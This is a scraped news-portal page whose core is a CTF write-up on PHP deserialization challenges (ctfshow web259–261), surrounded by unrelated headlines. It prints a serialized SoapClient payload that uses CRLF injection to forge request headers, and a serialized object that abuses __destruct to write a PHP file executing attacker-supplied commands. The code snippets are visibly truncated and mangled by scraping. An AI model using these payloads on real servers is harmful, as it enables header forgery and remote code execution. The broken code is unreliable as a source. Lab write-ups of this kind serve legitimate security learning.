最新要闻
- 天天热门:钻石不值钱了 1/3原价就能买到!中国河南小县城颠覆神话
- 速读:AMD向Intel正面开炮:顶级性能 不需要高功耗!
- 焦点关注:什么是牙周炎及症状_什么是牙周炎
- SE终于承认《Forspoken》失败:但仍有可取之处
- 世界短讯!广西:全面实现高速服务区充电桩100%全覆盖
- 环球动态:鲜嫩如蛋挞 多鲜岩烧乳酪吐司1斤14.9元
- 世界滚动:Win10极限精简版系统Tiny10更新:加入远程桌面等实用功能
- Intel中国特供i5-13490F闪电降价!这性价比 没治了
- 当前简讯:女子沙漠种树16年让县城免于消失 11年前美国预言翻车
- 每日短讯:掀起汽车降价狂潮之后 湖北再投放5亿元消费券
- 全球讯息:突破142万人!《CS:GO》同时在线数达10年来最高点
- 2.8K OLED高刷屏!华硕灵耀14 2023轻薄本图赏
- 女子试驾比亚迪汉撞树:碗口粗的树都弯了 A柱完好无损
- 环球关注:面向 DevOps 的 Kubernetes 最佳安全实践
- 明明不缺钱 为什么总有人喜欢在家收集垃圾?
- 大众ID.家族新能源汽车跟进降价 最高优惠4万元
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
当前快讯:反序列化刷题
web259
flag.phpgetFlag();这道题考察的是php原生类SoapClient和CRLF注入(CRLF注入知识点:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html)。
【资料图】
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call方法。
SoapClient原生类官方介绍如下:
class SoapClient { /* Methods */ public __construct(?string $wsdl, array $options = []) public __call(string $name, array $args): mixed public __doRequest( string $request, string $location, string $action, int $version, bool $oneWay = false ): ?string public __getCookies(): array public __getFunctions(): ?array public __getLastRequest(): ?string public __getLastRequestHeaders(): ?string public __getLastResponse(): ?string public __getLastResponseHeaders(): ?string public __getTypes(): ?array public __setCookie(string $name, ?string $value = null): void public __setLocation(?string $location = null): ?string public __setSoapHeaders(SoapHeader|array|null $headers = null): bool public __soapCall( string $name, array $args, ?array $options = null, SoapHeader|array|null $inputHeaders = null, array &$outputHeaders = null ): mixed}由于SoapClient原生类中包含
__call
方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()
魔术方法,这样就可以达到我们伪造请求头的目的。在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的触发。
首先我们看flag.php。
$xff = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]);array_pop($xff);$ip = array_pop($xff);explode()函数可以把字符串打散为数组。
array_pop()弹出并返回
array
数组的最后一个单元,并将数组array
的长度减一。这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。
所以当我们xff传入127.0.0.1时返回为空
当传入127.0.0.2,127.0.0.1时返回127.0.0.2
当传入127.0.1,127.0.2,127.0.3时返回127.0.2
所以我们需要xff构造成127.0.1,127.0.1的形式就可以了。
getFlag();接下来我们可以看到index.php中对于传入的vip进行了反序列化,而vip调用了getFlag()方法,在SoapClient原生类中,要是调用一个不存在的方法之后会执行__call魔术方法。
这样我们就可以通过执行__call方法来进行伪造请求获得flag。(这里还进行了CRLF注入)
下面我们进行监听:(这里注意:如果使用的是phpstudy的话去php扩展里面开启soap扩展就行了,如果是其他的话请自行百度,如果没有开soap的话,nc是监听不了的)
"127.0.0.1","location"=>"http://127.0.0.1:9999"));$client->getFlag(); //调用不存在的方法,会自动调用——call()函数来发送请求?>可以看到我们对于SOAPction进行了注入,但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(
application/x-www-form-urlencoded
),因此我们还要想办法构造一个完整的POST请求。所以我们可以试试可不可以控制user-agent:
"127.0.0.1","location"=>"http://127.0.0.1:9999","user_agent"=>$ua));$client->getFlag(); ?>再进行监听:
可以看到我们成功注入到了user-agent。
这里我们注意:(1)因为我们设置了Content-Length的值为13,所以超出13个字符以外的都会被服务器丢弃,因此token=ctfshow后面的内容都会被丢弃,我们不需要管。
(2)设置User-Agent时,应写成user_agent, 不然就会出错
(3)因为$ua中用到了
\r\n
这两个换行符,因此要用双引号包裹(4)HTTP请求头之间的参数用一组
\r\n
分割即可(5)HTTP请求头与POSTDATA之间要用两个
\r\n
分割。所以我们构造如下:
"http://127.0.0.1/" , "location" => "http://127.0.0.1/flag.php", "user_agent" => $ua));echo(urlencode(serialize($client)));得到Payload:vip?=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%221111%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后再访问flag.txt就可以得到flag。
(这道题的第一想法使用xff伪造ip来获取flag,不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。)
web260
这道题比前面那道简单,只需要get传入的参数序列化后含有ctfshow_i_love_36D就可以了
所以我们只需要传入ctfshow_i_love_35D就可以了
web261
username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!="" || $this->password!=""){ die("error"); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=""; $this->password=""; } public function __unserialize($data){ $this->username=$data["username"]; $this->password=$data["password"]; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }}unserialize($_GET["vip"]);这道题我们首先需要知道一些关于__serialize和__unserialize方法的一些知识。1.当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize(在php7.4以上才能生效)2.__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组。(想具体了解__serialize和__unserialize这俩个函数可以看这篇文章 https://blog.csdn.net/yink12138/article/details/122318003)关于这道题我们可以看到他的php版本为7.4.16,如下(看php版本和一些网站所用的框架我们可以用wappalyzer这个插件):
我们看到他的php版本为7.4.16,所以说__sleep和__wakeup方法的内容我们可以忽略了。
简化后的代码如下:
username=$u; $this->password=$p; } public function __invoke(){ eval($this->code); } public function __unserialize($data){ $this->username=$data["username"]; $this->password=$data["password"]; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }}unserialize($_GET["vip"]);可以看到在__destruct方法中,如果code弱类型等于0x36d就可以将password写入username文件中,0x36d转化完十进制为877,因此我们让username等于877.php,然后将password等于要执行的命令就可以了。
如下:
username="877.php"; $this->password=""; }}$a=new ctfshowvip();echo urlencode(serialize($a));?>最后在877.php中找flag就可以了。
关键词:
-
redux crateStore connect
页面发布-分发dispatch(action(:object),action已被connect(mapStateToProps,mapDispatchToProps)(App)映射到组件props
来源: -
当前快讯:反序列化刷题
web259flag php<?php$xff=explode(& 39;,& 39;,$_SERVER[& 39;HTTP_X_FORWARDED_FOR& 39;]);arra
来源: redux crateStore connect
当前快讯:反序列化刷题
天天热门:钻石不值钱了 1/3原价就能买到!中国河南小县城颠覆神话
速读:AMD向Intel正面开炮:顶级性能 不需要高功耗!
网络安全(中职组)-B模块:Web隐藏信息获取
ARC058F
Codeforces Round #857 Div.1 1801 E F 题解
打开MASA Blazor的正确姿势6:表单验证
看点:C#中定义自己的消费队列(下)
焦点关注:什么是牙周炎及症状_什么是牙周炎
SE终于承认《Forspoken》失败:但仍有可取之处
焦点速看:前端设计模式——适配器模式
世界短讯!广西:全面实现高速服务区充电桩100%全覆盖
环球动态:鲜嫩如蛋挞 多鲜岩烧乳酪吐司1斤14.9元
世界滚动:Win10极限精简版系统Tiny10更新:加入远程桌面等实用功能
Intel中国特供i5-13490F闪电降价!这性价比 没治了
计应212小组讨论junit成果
当前简讯:女子沙漠种树16年让县城免于消失 11年前美国预言翻车
每日短讯:掀起汽车降价狂潮之后 湖北再投放5亿元消费券
全球讯息:突破142万人!《CS:GO》同时在线数达10年来最高点
【世界时快讯】ELF 文件
环球快资讯丨表数据量大优化方案设计
2.8K OLED高刷屏!华硕灵耀14 2023轻薄本图赏
女子试驾比亚迪汉撞树:碗口粗的树都弯了 A柱完好无损
环球关注:面向 DevOps 的 Kubernetes 最佳安全实践
焦点速递!9.3.3输入的符号2
明明不缺钱 为什么总有人喜欢在家收集垃圾?
大众ID.家族新能源汽车跟进降价 最高优惠4万元
每日头条!一小时发电量超七万千瓦时!首台国产F级50兆瓦重型燃气轮机下线
Windows10免费激活专业版亲测有效无需安装软件,附:Windows10停止自动更新教程正解版
单机身10499元:佳能入门全画幅微单EOS R8正式上架
中国2月动力电池装车量:宁德时代、比亚迪拿下超7成市场份额
环球要闻:13日明早将现寒潮过程最低气温:上班记得多穿点
承诺捐款1100万未兑现被母校起诉 校友回应:自己会像罗永浩一样
寻味北京 | 文化活动·北京城市副中心 公共文化服务
最资讯丨Python 中连接MSSQL,MySQL,SQLite,Redis,ElasticSearch,Mongodb,PostgreSQL,Oracle,R
世界新动态:秒杀面试题!JS中this指向的理解和运用
环球精选!.NET、.NET Framework 和 .NET Core
在Linux中如何注销其他 SSH 用户
资讯推荐:补贴9万后12万买C6 博主揭雪铁龙套路玩的深!低配比高配还贵
1TB存储影像机皇!小米13 Ultra或5月发布:同步小米平板6/小米手环8
焦点速看:洛谷 P1015 回文数
世界滚动:曾称花40万买燃油车很悲催!智己CEO:智己LS7近一半车主来自BBA
世界实时:《你好李焕英》后二次合作:贾玲第二部导演作品有张小斐
全球看热讯:EntityFramworkCore7笔记
【天天时快讯】董明珠谈“35岁职场危机”:不理解 人们要到60岁才退休
宏任务&微处理
主龙骨图片_主龙骨
一次看过瘾!《流浪地球》系列两部电影下周连映:时长5小时
焦点热门:读Java性能权威指南(第2版)笔记14_垃圾回收A
环球热门:全球第15!小米13 Pro DXO音频140分:险胜iPhone 13 Pro Max
今日最新!有六百万人 沉迷在B站上看“抓小偷”
天天报道:不退休不会卖股票!董明珠:格力没实现6000亿营收目标 有遗憾
怎么利用异步设计提升系统性能?
【天天新要闻】500km续航纯电MPV!李想首曝网约车D1 Plus:项目被叫停太遗憾
全球观焦点:Go 面向对象
全球快播:Vue——Vue初始化【三】
吕钱浩:苹果2026年可能会推真全面屏iPhone 那个时候中兴已是第7代了
焦点快报!博主阿秋准备坐地铁游香港:晒证件自证是90后
环球快资讯:手机换号伤不起!当代人换手机号的成本有多高?
百事通!iPhone 17 Pro将是最完美iPhone!果粉还要等两年时间
苦是一种享受!董明珠回应仍做手机:格力一些部件必靠进口 国产质量不达标
冷水江市气象局发布大风蓝色预警【Ⅳ级/一般】
自称从清华退学考北大博主删除视频:此前收获50万点赞 快速涨粉
世界热议:PMP项目变更管理及变更流程总结
利用CSS使博客园图片自动居中,而文字保持居左
天天热文:量化交易基础 - 012 - 检验中的假设条件
全球新资讯:2999元国产显卡抢疯了 Steam游戏实测能玩 老黄旧将打造
当前快看:实拍成都6-7级大风来袭:狂风呼啸树折腰 行人雨伞秒被吹翻
邹磊委员:推进“风光水火储”多能互补综合能源供给体系建设
Log4j 配置
每日速递:flink入门-流处理
全球消息!汉诺塔问题——分而治之(引入递归,解决重复子问题)
世界球精选!Java基础入门-数组练习
国内已超越GPS 北斗卫星今年再发三颗星:下一代已在路上
世界观点:称根据身体来划分性别比较好 女星桥本爱被LGBT攻击
【独家】女生月薪两万辞职考研八次失败:次次铩羽而归
全球新资讯:第128篇:浏览器存储(cookie、webStorage、 IndexedDB)
世界简讯:关于使用python脚本将同级的其他目录下的所有文件根据年份移动到当脚本位置的年份目录
环球今热点:SSD比机械硬盘更容易坏?实测来了:跟想象中不一样
全球观天下!2月轿车销量排名:两“逸”同病相怜、秦汉一马平川
通讯!姚劲波代表:高学历干家政可能会越发普遍
《庆余年2》冲上热搜榜:网曝郭麒麟演的角色范思辙换人了
资讯:shiro-550反序列化漏洞分析
资讯:64.异常
世界热文:[新媒体运营]新媒体运营概述
9名初中生花18元点18串里脊庆生 网友看哭:回不去的年华
今日报丨金钱豹回拜游客 动物园回应:没人教、第一次见
世界今日报丨隅田川进口胶囊咖啡液8杯到手10.9元:更鲜更好喝
有赞一面:还有任务没执行,线程池被关闭怎么办?
全球快看点丨注解与反射
java基础二-面向对象的三大特性
全球最资讯丨A卡有能力跟RTX 4090正面刚 AMD:不做是因为太贵、功耗高
微头条丨深山红烛 照亮希望
环球新消息丨Redis 深度学习
环球快资讯:前端设计模式——策略模式
新消息丨MySQL学习笔记-SQL实践1
每日快报!安全性不行 Win7系统真的别用了 又一个游戏《堡垒之夜》放弃支持
每日快播:童年回来了!《灌篮高手》发布流川枫角色海报
每日报道:使用web client对 vcenter 进行补丁升级